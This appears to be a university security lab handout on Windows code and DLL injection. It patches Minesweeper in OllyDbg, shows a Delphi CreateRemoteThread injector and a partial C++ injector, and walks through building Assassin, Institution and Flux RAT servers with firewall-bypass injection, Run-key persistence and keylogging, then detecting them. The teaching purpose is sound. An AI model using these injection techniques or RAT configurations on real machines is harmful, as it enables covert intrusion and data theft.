Escolar Documentos
Profissional Documentos
Cultura Documentos
Please read the entire lab and any extra materials carefully before starting. Be sure to
start early enough so that you will have time to complete the lab. Answer ALL questions
and be sure to turn in ALL materials listed in the Turn-in Checklist ON or BEFORE
the Date Due.
Goal: The goal of this lab is to examine various methods of Code and DLL injection
as well as countermeasures to stop such attacks.
Summary: This lab will introduce the concepts of Code and DLL Injection as
well as explore Trojans that apply these techniques, how Trojans use them, and some
defensive techniques.
1
Lab Scenario: During this lab we will be working with a copied image of
your winXPPro virtual machine in case the windows installation is damaged during the
lab. Make sure vmware is not running while copying the image. To do this, please
follow the instructions below.
After waiting ~5 minutes, the copying will finish. Now vmware must be configured to
use the new image. Start up vmware. Click on File → New… → New Virtual Machine.
For this lab, you will have to unzip in your WindowsXP machine the file procexpnt.zip
into a directory of your choice. This will unzip the files for Sysinternal’s Process
Explorer, free software that monitors current processes.
Now press CTRL + ALT + DEL from within the WindowsXP machine. A Windows
Task Manager window should appear. Next, click on the Processes tab. This lists all the
processes that are currently running in windows. 'Image Name' shows the process name.
'User Name' shows the user in the Windows XP machine that created the process.
Now we will use a process monitoring software called Sysinternals Process Explorer (PE)
(http://www.sysinternals.com/ntw2k/freeware/procexp.shtml).
QWU.1: Write down 5 processes you see, the user that has control of the processes, the
description given by PE, and the PID.
Make sure the PE window is active and press CTRL + D. This will give you a view of
the DLL libraries called by each process. DLL files are dynamic link libraries, a
collection of small programs that can be executed but only by means of a running process
or another executable function. The bottom line, however, is that .dll files contain code
that can be executed.
2
Make sure you scroll all the way to the bottom of both, the process window and the dll
window. Now start Internet Explorer. While you do that, watch what happens in the
Process Explorer Window. It should be showing the IEXPLORE.EXE process. When it
shows something in green it means something is being loaded. When it shows something
in red it means it is being unloaded.
Select the IEXPLORE.EXE process with your mouse and look at the DLL window at the
bottom of PE.
QWU.2: Write down 3 .dll libraries that were loaded by Internet Explorer. Try to
familiarize yourself with the .dll's loaded by IE (it is a lot, so do not memorize them, just
familiarize with the dll's as you will see them again and again in this lab).
Now we will explore Code Injection. Code Injection can occur in one of two ways,
statically (Static Code Injection) or dynamically (Dynamic Code Injection). Static Code
Injection occurs prior to execution. A file is altered, by 'injecting' a jump at the
beginning of the filespace. This jump directs to arbitrary code written by an attacker into
available space of the filespace of a program.
We will now explore static code injection. For this purpose, we will manipulate the
Windows game Mineswipper so that before it runs it displays a message saying “I am a
trojan.”
Run OllyDbg.exe from the folder in which you installed OllyDbg. The first time you run
OllyDbg you might get a message asking you whether you want to update on the library
(.dll) files. Just say no.
Click Open, and open winmine.exe. What you will get in OllyDbg is assembly code of
winmine.exe (yes, this is reverse engineering).
3
On the right part of the screen you will see the Register values. The EIP register is a
pointer to the next command that will execute. In this case it should store the Module
Entry Point.
The memory space of winmine.exe contains a lot of useful information, but it also
contains areas with no useful information whatsoever. These areas are full of noop
operations (\x00's). These areas could be modified to add code without corrupting
winmine.exe.
In OllyDbg, on the left upper window (right below the menu), scroll down until you find
a big group of noops put together where you have enough space to add your code. The
place you find is called a 'cave', as seen in Figure 1.1.
Q1.2: Write down the address of the first NOOP that forms part of a 'cave'.
4
Now in the 'cave' we found we will add a Message Box call.
Push 0
Push “I am a Trojan”
Push “I am a Trojan”
Push 0
Call User32.MessageBoxA
In Machine Code we go to an even lower level...we must allocate space for the “I am a
Trojan” string and then push the address of this allocated memory by doing a
Push <Address>
We will now add the code. Highlight a bunch (about 20) of NOOPs from the cave. Right
click and select Binary->Edit. Now on the Ascii field simply type in “I am a Trojan.”
Figures 1.2 and 1.3 show these steps.
5
Figure 1.3. Binary Edit window.
You will now get some garbage on OllyDbg. Do not worry. Olly needs to reanalyze this
code. Press CTRL + A to analyze the code. After this, you should see “I am a Trojan” in
some address.
Q1.3: Write down the address where you added the string.
Now below the address where you added your string, double click on one of the “DB 00”
fields. You will get an Assemble at <Address> window.
Type in:
push 0
and press Assembler. A new Assemble at <Address+1> will appear. Now type in:
push MYADDRESS
where MYADDRESS is the address where your string is located (your answer to Q1.5).
In the next address you should type:
push MYADDRESS
again (because you are pushing the same string 2 times, once for the header of the box
once for the message in the box). On the next address we type in:
push 0
again. Finally we have to call the actual function call, so on the next address type:
call user32.MessageBoxA
Figure 1.4 shows the Assemble window where you can input the instructions.
6
Figure 1.4. Assemble window.
Q1.4: Write the address where you added the first 'push 0'.
Now press the '*' key in your numpad, this will take you to the top of the window (the
origin). Select the first 6 instructions, highlight them and then press CTRL + C (since we
will be modifying some commands, we want to make sure we have a backup). Paste this
code into notepad.
Now we will overwrite some code. Double click on the Origin instruction (the first
instruction) and type in:
JMP CODEADDRESS
where CODEADDRESS is the address where your code starts (your answer to Q1.6).
You will notice that more than one line got edited. The edited lines will be in red.
Compare the first few lines with your copy in Notepad and delete the lines that are
duplicated from Notepad. The lines that are not duplicated we will need to add again
somewhere.
Q1.5: Write the address of the first line after the JMP (The first NOOP)
It is important to keep this address because what the program will do is read the EIP
register. This points to the line where we added the JMP. The JMP will redirect the PC
to the new code. The new code will execute, and then we want to jump back to the
address you just wrote down so that normal execution continues as if nothing had
happened. However, before we return to normal execution, we have to add the code that
we overwrote. So we add this at the end of our code before we jump back to the
beginning of the code.
Go to back to the origin. Highlight the origin instruction, and right click with your
mouse. Then press Follow. This will take you to the address to which the origin jumps.
If you have done everything correctly so far, this should take you to the beginning of
your code (The first push 0).
7
Now we need to add the code that was overwritten (you have it in your notepad,
remember?). Add the remaining instructions from notepad at the end (immediately after
the Call MessageBox command).
Note: If it says something like 'PUSH winmine.1234567' in notepad, just type in 'push
1234567').
Now at the last line of the new code insert the command
JMP SECONDADDRESS
where SECONDADDRESS is the address of the second line, or the line after the origin
(your answer to Q1.7).
Now press Run (the play button at the top of Olly). The Message Box should have
appeared and then Winmine.
SS1.1: Take a screenshot of your Message Box on top of Winmine and turn in with
the lab report.
We have already seen how static code injection works. The previous example could have
been used to load a .dll library rather than displaying a message box. That would have
been static dll injection.
Q1.6: Give one scenario where static dll injection could be used to trick a user into
giving a malicious program permission to access the internet (hint: think static injection
and peer to peer networks).
8
Remember our section exploring processes?
Execute apm.exe.
Install into a directory of your choice (c:\...yourchoice\...\APM).
It should say installation was successful. Click OK.
It should now show you the window of the directory into which it installed APM.
Once again you should see a list of running processes along with their Process ID
number. Select explorer.exe.
Now right click on top of explorer.exe on the APM window and select Load DLL.
Now select apm.dll from the APM directory.
Microsoft's Platform SDK provides some API calls to manipulate processes. Let's look at
a couple of interesting ones. Their specifics are found in Appendix A. Make sure you
read it and understand it before proceeding:
LoadLibrary: maps the specified executable module into the address space of the calling
process (yes, a .dll is a module)
VirtualAllocEx: reserves or commits a region of memory within the virtual address space
of a specified process
9
WriteProcessMemory: writes data to an area of memory in a specified process. The
entire area to be written to must be accessible, or the operation fails.
CreateRemoteThread: creates a thread that runs in the virtual address space of another
process
So by now you should know that processes are not too hard to intrude.
A program, when executed, can dynamically load a dll module into a running process by
doing the following:
Open a process using OpenProcess. One of the parameters is the Process ID which you
can get from using PE from the previous section. Next, Allocate memory using
VirtualAllocEx (one of the parameters of VirtualAllocEx will be the process opened by
OpenProcess)
Write something into the memory space we allocated within the process. We will pass in
the Process into which we want to write, the address of the memory into which we want
to write (we already have all of those), the number of bytes to write, and a pointer to the
DLL we want to load.
Now we will create a new thread which will call a function. The address of the function
is the address of LoadLibrary and as parameters we pass the address of the memory we
allocated...so the process will call the code we injected into the process. We do this using
CreateRemoteThread and passing in the addresses.
program Project1;
uses
Windows;
var
PID, BytesWritten, Process, Thread, ThreadId: dword;
Paramaters: pointer;
DLL: pchar;
begin
10
DLL := 'c:\Inject\Library.dll'; //full path!
PID := 1784; //process id!
Process := OpenProcess(PROCESS_ALL_ACCESS, False, PID);
Paramaters := xVirtualAllocEx(Process, nil, 4096, MEM_COMMIT,
PAGE_READWRITE);
WriteProcessMemory(Process, Paramaters, Pointer(DLL), 4096,
BytesWritten);
Thread := xCreateRemoteThread(Process, nil, 0,
GetProcAddress(GetModuleHandle('KERNEL32.DLL'), 'LoadLibraryA'),
Paramaters, 0, ThreadId);
WaitForSingleObject(Thread, INFINITE);
xVirtualFreeEx(Process, Paramaters, 0, MEM_RELEASE);
CloseHandle(Thread);
CloseHandle(Process);
end.
Now look at Appendix B. In there there is code for a DLL Injector which injects
DLL.dll. (http://www.codeproject.com/dll/DLL_Injection_tutorial.asp).
Q2.2: Look at the source code of EXE.cpp and identify in which line the dll is injected.
We have compiled the code for you. Look into the Injector_src/EXE/Debug folder and
Run EXE.exe (make sure DLL.dll is in the right directory, you can find this directory in
the source code for EXE.cpp).
The DLL in this example is actually not loaded because we are using Windows XP and
there is a security issue with the isBadWritePtr() function. However in earlier versions of
Windows it would have injected successfully.
11
Now let us see if the code we looked at works. Execute APISPYLD.exe from the
APISPY32 directory and select the Internet Explorer iexplore.exe. Make sure PE is open
and press Run. Observe the IE process that appears and the .dll it loads
(APISPY32.DLL).
Now that we have already seen that a dll can be injected into a process, we will now see
why and how this is a threat to security. Many trojans, spyware, and malware in general
use injection in order to override a Firewall. They do this by injecting code into a process
that has outbound privileges set in the firewall. For example, Internet Explorer has
privileges to send and receive data. So if a Key Logger captures your credit card number
and then a trojan injects code into Internet Explorer to send the information captured by
the Key Logger to some remote server, then the Firewall will not be alarmed because it is
only Internet Explorer sending data. “Internet Explorer” could further request an update
of the trojan or download many more trojans. Scary huh?
The following section may optionally be carried out in a computer with installation
privileges and access to the internet. It will test your firewall. If you do not have access
to such computer, continue on in your Virtual Machine but note that the Firewall tester
may not be successful.
12
“Updating System”. Now wait while it installs. Then you will have to restart the XP
machine.
Immediately as soon Windows XP starts you may get some Sygate Personal Firewall Pro
access permission requests. (“so and so is tryint to broadcast to blah blah blah...”). For
now just click NO in all of those, but make sure “Remember my answer” is NOT
checked. On the Register window press Register Later.
Q3.1 (May be extra credit depending on Dr. Owen): What was the score of your
Firewall? A High score for your firewall means your firewall is good. Can your firewall
stop dll Injected processes?
Now let us look at some trojans and see why DLL Injection is dangerous.
Trojan Examples
Unzip the file YXNzYXNpbjIuemlw.zip. The filename is also the password of the zip
file. Now click on the client.exe.
Change the exe name to anything....we suggest something easy to remember i.e.
Killer.exe. Make sure Firewall Bypass is enabled (this is so that the DLL Injection
feature is installed on the server).
13
Inject to should specify Internet Explorer. That means that the server will inject Internet
Explorer.
Go to Direct Connection and click on Use Safety Port. This is so that the server can
connect directly to your machine. Type port 1234 and the IP address of your client
(WindowsXP Copy).
Now click on Startup Methods and select start on Windows Registry Startup – Run. For
Key enter test.exe.
Now click on Extra Settings. Leave everything as is except that you must enter a
password. Enter 'password' as your password.
Now click on Save and save the server as an .exe file (i.e. Myserver.exe). Now use
netcat, as described in Appendix D, to transfer the server to the XPCopy machine.
Click on Add Port on the first icon in the toolbar above the Menu whose first line says
Plugin Settings.
Enter 1234 (or whatever port you had selected).
Now go to Options in the main menu, then click on Settings. Select the Passwords tab.
Enter a new password as 'password' or whatever password you used in creating the
server.
For now we are only interested in the injected DLLs. So run the server on the actual
machine where the client is (WindowsXP machine). Now go to Process Explorer. You
should have an IEXPLORER process. If you have more than one you may need to look
at more than one. Notice that a 0.dll (or 1.dll or 2.dll) has been loaded by Internet
Explorer. “What is this?” You may ask. Go to the Assassin directory. And then go to
the dll directory. Hmmm....guess what you can find in there.....this is evidence of the dll
injection. The 0.dll in actuality comes from there but is not loaded from there. It is
loaded from a directory that was installed by the Assassin server under C:\Windows\Win
Types (or whatever directory was specified by you when creating the server). Internet
Explorer should now be trying to establish a connection with the outside world.
14
Unzip the file I2K4-0.4.0.zip into a directory of your choice in your main Windows XP
machine. Now run client.exe.
Enter the IP address of the machine you are using. This will be the client.
Make sure you write down what port you will be using:
Click yes to copy the server file into the system folder when installed.
Now select a destination for the server file and a name (iserver.exe is recommended).
Now you will have to send the server to your Windows XP Copy machine using netcat.
In the Windows XP Client machine, in the Institution Client select Options and Service
Port. Enter the same number your wrote down (the one you used for the server).
Any time soon the client should detect a connection with the server. If you right click in
the connection you can now do all kinds of stuff with the server such as manipulating
files, manage processes (if you right click it will give you the option of “patching” a
process and you can select a file to patch it with...sound familiar?), manage the registry,
etc. We will not go into detail into this functions since the purpose of this lab is to
understand code injection, not to learn to use this RAT trojan.
Now we will switch roles. Now the XP machine will be the server and the XP Copy
machine will be the client. Use netcat to send the I2K4-0.4.0.zip file to the XP Copy
machine. Unzip the machine and follow the above procedures to produce a server file
and send it to the XP Machine. Then, configure the client in the XP Copy machine
properly.
The server should be able to establish a connection with the client regardless of the
firewall or at least it will create a process by the name of the service that was established
that will try to get privileges from the Firewall. Look at the Firewall log, it should show
15
your service name (service.exe) as requesting privileges. Notice a process was started
with the name for the service you selected in the client. This process creates the
connection.
Unzip Zmx1eC56aXA.zip into a directory of your choice. It will ask you for a password,
the password is the name of the zip file without the .zip (Zmx1eC56aXA). It is cap
sensitive.
Now, click on Flux. Read the disclaimer and click I agree (if you agree).
In Installation field, select Windows. Enter a filename for the server file. Let’s make it
easy, lets use “myfluxserver.exe”.
Melt server (this will make the server file to be deleted once it is executed.
Leave the Connection port as is, but you have to add a password. We suggest the hard-
to-guess word “password.” On Connect to enter the IP address of the XP machine you
will use as Client.
16
OK, now on to the important part. The “Firewall bypassing” part. Guess what this is...
CORRECT, it is using code Injection (not DLL injection in this case) to bypass a
firewall.
Make sure Inject to has Default Brower and MSN Messenger checked.
Now we are ready to create the server. Uncheck the Compress to server and click Save.
Now you may close the New Server window by pressing the X at the top right corner.
Now click on Options and Settings and add your password into the Password field.
Check the “Enable keylogger on connect.” Leave the other fields as is (The port should
be the default 2001 and the MSN style notifier and Colour activity should be checked.
Timeout set to 15000 and double clicking brings up file manager.
Now you will need to send it to your other XP machine in VMWare. In order to do this
you may use netcat, the TCP/IP swissknife.
Now run server.exe from the destination machine. Since we had selected the “melt”
option, the file will delete itself after installation.
Once this is done, and if the client is running in the other XP machine, you will receive a
message MSN style indicating SERVER has logged on.
Now you can do all sorts of stuff with the Client like log keystrokes and capture
screenshots. But that is not the purpose of this lab. The purpose of this lab is to show
how Injection is used. We have seen how a connection is established without a firewall.
Now lets try to do this a different way. Let’s install a Firewall on the Server machine.
Use netcat, as shown above, to transfer the flux zip file into the previous Source machine.
We will now switch roles, the previous Server will now be the Client and the previous
Client will now be the server. Our client is now a machine with a Firewall.
Follow the same procedures to set up the client and the server. Now as soon as the server
runs on the firewall-protected machine, Internet Explorer will launch.
Q3.3: Why does Internet Explorer launch as soon as the server is executed?
However a connection will not succeed. “But I thought Flux did injection to override the
firewall?” you may ask. Yes it does. It actually does get through the firewall. What
17
does not get through the firewall is the data sent back by Flux from the client. To verify
this open up the Firewall. Click on Logs. You should see some incoming packets from
the client blocked. But outgoing packets are allowed.
SS.3.3: Take a screenshot of the Firewall log showing the blocked incoming packets and
non-blocked outgoing packets and turn in with your lab report.
The 0.dll injected dll should still be loaded into Internet Explorer.
Now select the .dll that we so much hate and select Unload DLL. This could kill the
Iexplorer process. That's OK. Run DiamondCS APM is a good tool to unload dll's from
processes. If Iexplorer was killed close DiamondCS APM and run it again and run
Internet Explorer again. The dll should not appear anymore (at least until the next boot).
Now we will look at another security tool that may be used against these injectors.
Find the file tds3setup and execute it. This will install DiamondCS TDS-3 Anti-Trojan
software. This may be found from the DiamondCS website at http://diamondcs.com.au.
It will ask you if you want to restart your computer. Say yes.
Once your computer restarts the first thing you will see is IE loading. We know why that
is (we still have the trojans installed). Check this with PE. Defense #1, Firewall will
warn you that the process started by Institution is trying to establish a connection. Say
no. Then it says IE wants a connection. It’s natural that you would say yes (if you did
not know any better) so say yes. By the way, on the Firewall, click on register later.
18
It will say your data needs to be updated. Do not worry about this. So Institution should
have been detected. But wait....Assassin and Flux are nowhere to be found.
Click on Configuration.
On the Startup tab make sure everything is checked except for Boost TDS Process and
Boost TDS Token. Select Minimize TDS to Windows Taskbar, Run at Windows Startup
yes, and Startup State normal. Save.
Make sure Anti-Trojan is selected but Anti-Worm is not. Set sensitivity almost to High
but not completely (one block less than completely high).
You might have to reload TDS. Now go to System testing and select Full System scan.
Now you should be able to detect everything.
SS4.1: Take a screenshot of TDS detecting Assassin DLLs and turn in with your lab
report.
19
Appendix A: Microsoft MSDN Function
Specifications
20
The following method descriptions were obtained from Microsoft’s MSDN Network
(http://msdn.microsoft.com).
OpenProcess
The OpenProcess function opens an existing process object.
HANDLE OpenProcess(
DWORD dwDesiredAccess,
BOOL bInheritHandle,
DWORD dwProcessId
);
Parameters
dwDesiredAccess
[in] Access to the process object. This access right is checked against any security
descriptor for the process. This parameter can be one or more of the process
access rights.
bInheritHandle
[in] If this parameter is TRUE, the handle is inheritable. If the parameter is
FALSE, the handle cannot be inherited.
dwProcessId
[in] Identifier of the process to open.
Return Values
If the function succeeds, the return value is an open handle to the specified process.
If the function fails, the return value is NULL. To get extended error information, call
GetLastError.
Remarks
The handle returned by the OpenProcess function can be used in any function that
requires a handle to a process, such as the wait functions, provided the appropriate access
rights were requested.
When you are finished with the handle, be sure to close it using the CloseHandle
function.
Example Code
21
For an example, see Taking a Snapshot and Viewing Processes.
Requirements
See Also
LoadLibrary
The LoadLibrary function maps the specified executable module into the address space
of the calling process.
HMODULE LoadLibrary(
LPCTSTR lpFileName
);
Parameters
lpFileName
[in] Pointer to a null-terminated string that names the executable module (either
a .dll or .exe file). The name specified is the file name of the module and is not
related to the name stored in the library module itself, as specified by the
LIBRARY keyword in the module-definition (.def) file.
If the string specifies a path but the file does not exist in the specified directory,
the function fails. When specifying a path, be sure to use backslashes (\), not
forward slashes (/).
22
If the string does not specify a path, the function uses a standard search strategy to
find the file. See the Remarks for more information.
Return Values
If the function fails, the return value is NULL. To get extended error information, call
GetLastError.
Windows Me/98/95: If you are using LoadLibrary to load a module that contains a
resource whose numeric identifier is greater than 0x7FFF, LoadLibrary fails. If you are
attempting to load a 16-bit DLL directly from 32-bit code, LoadLibrary fails. If you are
attempting to load a DLL whose subsystem version is greater than 4.0, LoadLibrary
fails. If your DllMain function tries to call the Unicode version of a function,
LoadLibrary fails.
Remarks
To enable or disable error messages displayed by the loader during DLL loads, use the
SetErrorMode function.
LoadLibrary can be used to map a DLL module and return a handle that can be used in
GetProcAddress to get the address of a DLL function. LoadLibrary can also be used to
map other executable modules. For example, the function can specify an .exe file to get a
handle that can be used in FindResource or LoadResource. However, do not use
LoadLibrary to run an .exe file, use the CreateProcess function.
If the module is a DLL not already mapped for the calling process, the system calls the
DLL's DllMain function with the DLL_PROCESS_ATTACH value. If DllMain returns
TRUE, LoadLibrary returns successfully. If DllMain returns FALSE, the system
unloads the DLL from the process address space and LoadLibrary returns NULL.
It is not safe to call LoadLibrary from DllMain. For more information, see the Remarks
section in DllMain.
Module handles are not global or inheritable. A call to LoadLibrary by one process does
not produce a handle that another process can use — for example, in calling
GetProcAddress. The other process must make its own call to LoadLibrary for the
module before calling GetProcAddress.
If lpFileName does not include a path and there is more than one loaded module with the
same base name and extension, the function returns a handle to the module that was
loaded first.
23
If no file name extension is specified in the lpFileName parameter, the default library
extension .dll is appended. However, the file name string can include a trailing point
character (.) to indicate that the module name has no extension. When no path is
specified, the function searches for loaded modules whose base name matches the base
name of the module to be loaded. If the name matches, the load succeeds. Otherwise, the
function searches for the file. The search order used depends on the setting of the
HKLM\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode
value.
Windows 2000/NT and Windows Me/98/95: The SafeDllSearchMode value does not
exist.
4. The Windows directory. Use the GetWindowsDirectory function to get the path
of this directory.
5. The current directory.
6. The directories that are listed in the PATH environment variable.
5. The Windows directory. Use the GetWindowsDirectory function to get the path
of this directory.
6. The directories that are listed in the PATH environment variable.
24
The first directory searched is the one directory containing the image file used to create
the calling process (for more information, see the CreateProcess function). Doing this
allows private dynamic-link library (DLL) files associated with a process to be found
without adding the process's installed directory to the PATH environment variable.
The search path can be altered using the SetDllDirectory function. This solution is
recommended instead of using SetCurrentDirectory or hard-coding the full path to the
DLL.
If a path is specified and there is a redirection file for the application, the function
searches for the module in the application's directory. If the module exists in the
application's directory, LoadLibrary ignores the specified path and loads the module
from the application's directory. If the module does not exist in the application's
directory, LoadLibrary loads the module from the specified directory. For more
information, see Dynamic Link Library Redirection.
If you call LoadLibrary with the name of an assembly without a path specification and
the assembly is listed in the system compatible manifest, the call is automatically
redirected to the side-by-side assembly.
The Visual C++ compiler supports a syntax that enables you to declare thread-local
variables: _declspec(thread). If you use this syntax in a DLL, you will not be able to
load the DLL explicitly using LoadLibrary or LoadLibraryEx. If your DLL will be
loaded explicitly, you must use the thread local storage functions instead of
_declspec(thread).
Example Code
Requirements
25
VirtualAllocEx
The VirtualAllocEx function reserves or commits a region of memory within the virtual
address space of a specified process. The function initializes the memory it allocates to
zero, unless MEM_RESET is used.
LPVOID VirtualAllocEx(
HANDLE hProcess,
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
);
Parameters
hProcess
[in] The handle to a process. The function allocates memory within the virtual
address space of this process.
lpAddress
[in] The pointer that specifies a desired starting address for the region of pages
that you want to allocate.
If you are reserving memory, the function rounds this address down to the nearest
multiple of the allocation granularity.
If you are committing memory that is already reserved, the function rounds this
address down to the nearest page boundary. To determine the size of a page and
the allocation granularity on the host computer, use the GetSystemInfo function.
dwSize
[in] The size of the region of memory to allocate, in bytes.
If lpAddress is NULL, the function rounds dwSize up to the next page boundary.
If lpAddress is not NULL, the function allocates all pages that contain one or
more bytes in the range from lpAddress to (lpAddress+dwSize). This means, for
example, that a 2-byte range that straddles a page boundary causes the function to
allocate both pages.
26
flAllocationType
[in] The type of memory allocation. This parameter must contain one of the
following values.
Value Meaning
Allocates physical storage in memory or in the
paging file on disk for the specified region of
memory pages. The function initializes the
memory to zero.
MEM_COMMIT
An attempt to commit a memory page that is
already committed does not cause the function to
fail. This means that you can commit a range of
pages without first determining the current
commitment state of each page.
Reserves a range of the process's virtual address
space without allocating any actual physical
storage in memory or in the paging file on disk.
27
mapped to a file. A shared view is only
acceptable if it is mapped to a paging file.
Value Meaning
Allocates physical memory with read-write
access. This value is solely for use with Address
Windowing Extensions (AWE) memory.
MEM_PHYSICAL
This value must be used with MEM_RESERVE
and no other values.
Allocates memory at the highest possible
MEM_TOP_DOWN
address.
flProtect
[in] The memory protection for the region of pages to be allocated. If the pages
are being committed, you can specify any one of the memory protection options,
along with PAGE_GUARD or PAGE_NOCACHE, as needed.
Return Values
If the function succeeds, the return value is the base address of the allocated region of
pages.
If the function fails, the return value is NULL. To get extended error information, call
GetLastError.
Remarks
Each page has an associated page state. The VirtualAllocEx function can perform the
following operations:
VirtualAllocEx cannot reserve a reserved page. It can commit a page that is already
committed. This means you can commit a range of pages, regardless of whether they
have already been committed, and the function will not fail.
You can use VirtualAllocEx to reserve a block of pages and then make additional calls
to VirtualAllocEx to commit individual pages from the reserved block. This enables a
process to reserve a range of its virtual address space without consuming physical storage
until it is needed.
28
If the lpAddress parameter is not NULL, the function uses the lpAddress and dwSize
parameters to compute the region of pages to be allocated. The current state of the entire
range of pages must be compatible with the type of allocation specified by the
flAllocationType parameter. Otherwise, the function fails and none of the pages is
allocated. This compatibility requirement does not preclude committing an already
committed page; see the preceding list.
To execute dynamically generated code, use VirtualAllocEx to allocate memory and the
VirtualProtectEx function to grant PAGE_EXECUTE access.
The VirtualFreeEx function can decommit a committed page, releasing the page's
storage, or it can simultaneously decommit and release a committed page. It can also
release a reserved page, making it a free page.
Requirements
29
WriteProcessMemory
The WriteProcessMemory function writes data to an area of memory in a specified
process. The entire area to be written to must be accessible, or the operation fails.
BOOL WriteProcessMemory(
HANDLE hProcess,
LPVOID lpBaseAddress,
LPCVOID lpBuffer,
SIZE_T nSize,
SIZE_T* lpNumberOfBytesWritten
);
Parameters
hProcess
[in] Handle to the process whose memory is to be modified. The handle must
have PROCESS_VM_WRITE and PROCESS_VM_OPERATION access to the
process.
lpBaseAddress
[in] Pointer to the base address in the specified process to which data will be
written. Before any data transfer occurs, the system verifies that all data in the
base address and memory of the specified size is accessible for write access. If
this is the case, the function proceeds; otherwise, the function fails.
lpBuffer
[in] Pointer to the buffer that contains data to be written into the address space of
the specified process.
nSize
[in] Number of bytes to be written to the specified process.
lpNumberOfBytesWritten
[out] Pointer to a variable that receives the number of bytes transferred into the
specified process. This parameter is optional. If lpNumberOfBytesWritten is
NULL, the parameter is ignored.
Return Values
If the function fails, the return value is zero. To get extended error information, call
GetLastError. The function will fail if the requested write operation crosses into an area
of the process that is inaccessible.
Remarks
WriteProcessMemory copies the data from the specified buffer in the current process to
the address range of the specified process. Any process that has a handle with
30
PROCESS_VM_WRITE and PROCESS_VM_OPERATION access to the process to be
written to can call the function. The process whose address space is being written to is
typically, but not necessarily, being debugged.
The entire area to be written to must be accessible. If it is not, the function fails as noted
previously.
Requirements
CreateRemoteThread
The CreateRemoteThread function creates a thread that runs in the virtual address space
of another process.
HANDLE CreateRemoteThread(
HANDLE hProcess,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId
);
Parameters
hProcess
[in] Handle to the process in which the thread is to be created. The handle must
have the PROCESS_CREATE_THREAD,
PROCESS_QUERY_INFORMATION, PROCESS_VM_OPERATION,
PROCESS_VM_WRITE, and PROCESS_VM_READ access rights. For more
information, see Process Security and Access Rights.
lpThreadAttributes
[in] Pointer to a SECURITY_ATTRIBUTES structure that specifies a security
descriptor for the new thread and determines whether child processes can inherit
the returned handle. If lpThreadAttributes is NULL, the thread gets a default
security descriptor and the handle cannot be inherited. The access control lists
31
(ACL) in the default security descriptor for a thread come from the primary token
of the creator.
Windows XP/2000/NT: The ACLs in the default security descriptor for a thread
come from the primary or impersonation token of the creator. This behavior
changed with Windows XP SP2 and Windows Server 2003.
dwStackSize
[in] Initial size of the stack, in bytes. The system rounds this value to the nearest
page. If this parameter is 0 (zero), the new thread uses the default size for the
executable. For more information, see Thread Stack Size.
lpStartAddress
[in] Pointer to the application-defined function of type
LPTHREAD_START_ROUTINE to be executed by the thread and represents
the starting address of the thread in the remote process. The function must exist in
the remote process. For more information, see ThreadProc.
lpParameter
[in] Pointer to a variable to be passed to the thread function.
dwCreationFlags
[in] Flags that control the creation of the thread. If the CREATE_SUSPENDED
flag is specified, the thread is created in a suspended state and does not run until
the ResumeThread function is called. If this value is zero, the thread runs
immediately after creation.
Return Values
If the function succeeds, the return value is a handle to the new thread.
If the function fails, the return value is NULL. To get extended error information, call
GetLastError.
32
Remarks
The new thread handle is created with full access to the new thread. If a security
descriptor is not provided, the handle may be used in any function that requires a thread
object handle. When a security descriptor is provided, an access check is performed on all
subsequent uses of the handle before access is granted. If the access check denies access,
the requesting process cannot use the handle to gain access to the thread.
When a thread terminates, the thread object attains a signaled state, which satisfies the
threads that are waiting for the object.
The thread object remains in the system until the thread has terminated and all handles to
it are closed through a call to CloseHandle.
• During process startup and DLL initialization routines, new threads can be
created, but they do not begin execution until DLL initialization is done for the
process.
• Only one thread in a process can be in a DLL initialization or detach routine at a
time.
• ExitProcess returns after all threads have completed their DLL initialization or
detach routines.
A common use of this function is to inject a thread into a process that is being debugged
to issue a break. However, this use is not recommended, because the extra thread is
confusing to the person debugging the application and there are several side effects to
using this technique:
33
• It results in a call to the entry point of each DLL in the process.
Another common use of this function is to inject a thread into a process to query heap or
other process information. This can cause the same side effects mentioned in the previous
paragraph. Also, the application can deadlock if the thread attempts to obtain ownership
of locks that another thread is using.
Requirements
34
Appendix B: DLL Injector Source Code
35
//EXE.CPP
#include <windows.h>
#include <windowsx.h>
#include <iostream>
#include <cstdio>
#include <string>
//@@@@@@@@@@@
CONTEXT OriginalContext;
char OriginalCodePage[4096];
DWORD sizeofCP=0;
VOID* mySec;
//return values:
//
// if 0 -> successful
// if -1 -> (0xFFFFFFFF) WriteProcessMemory returned FALSE
// else -> Amount of bytes written + 1
// (to get exact amount of bytes written, you must decrement return value by one!)
//
Context.ContextFlags = CONTEXT_FULL;
GetThreadContext( hThread, &Context);
if(!B)
return -1;
if(written!=sizeofCP)
return written+1;
return 0;
}
////////////////////////////////
char CodePage[4096] =
{ 0xB8, 00, 00, 00, 00, // mov EAX, 0h | Pointer to LoadLibraryA() (DWORD)
0xBB, 00, 00, 00, 00, // mov EBX, 0h | DLLName to inject (DWORD)
0x53, // push EBX
0xFF, 0xD0, // call EAX
0x5b, // pop EBX
36
0xcc // INT 3h
};
int nob=15;
char *DLLName;
DWORD *EAX, *EBX;
IMAGE_DOS_HEADER DOShdr;
IMAGE_NT_HEADERS *pNThdr, NThdr;
IMAGE_SECTION_HEADER SecHdr, *pSecHdr;
IMAGE_DATA_DIRECTORY DataDir, *pDataDir; //@@@@@@@@
DWORD dwD, dwD2, read, written;
CONTEXT Context;
BOOL B;
Context.ContextFlags = CONTEXT_FULL;//CONTROL;
OriginalContext.ContextFlags = CONTEXT_FULL;//CONTROL;
if(!GetThreadContext( hThread, &OriginalContext))
{
dwD = GetLastError();
return FALSE;
}
//Get NT header
B = ReadProcessMemory( hProcess,
(VOID*)((DWORD)hModuleBase + (DWORD)DOShdr.e_lfanew), &NThdr, sizeof(NThdr), &read);
if( (!B) || (read!=sizeof(NThdr)) ) return FALSE;
if( NThdr.Signature != IMAGE_NT_SIGNATURE ) //Check for `PE\0\0
return 0;
/////
//
if( (dwD=NThdr.FileHeader.NumberOfSections) < 1 )
return FALSE;//Section table: (after optional header)
pSecHdr = (IMAGE_SECTION_HEADER*)
(
((DWORD)hModuleBase + (DWORD)DOShdr.e_lfanew) +
(DWORD)sizeof(NThdr.FileHeader) +
(DWORD)NThdr.FileHeader.SizeOfOptionalHeader + 4
);//@@@@@@@@@@@@@
B=FALSE;
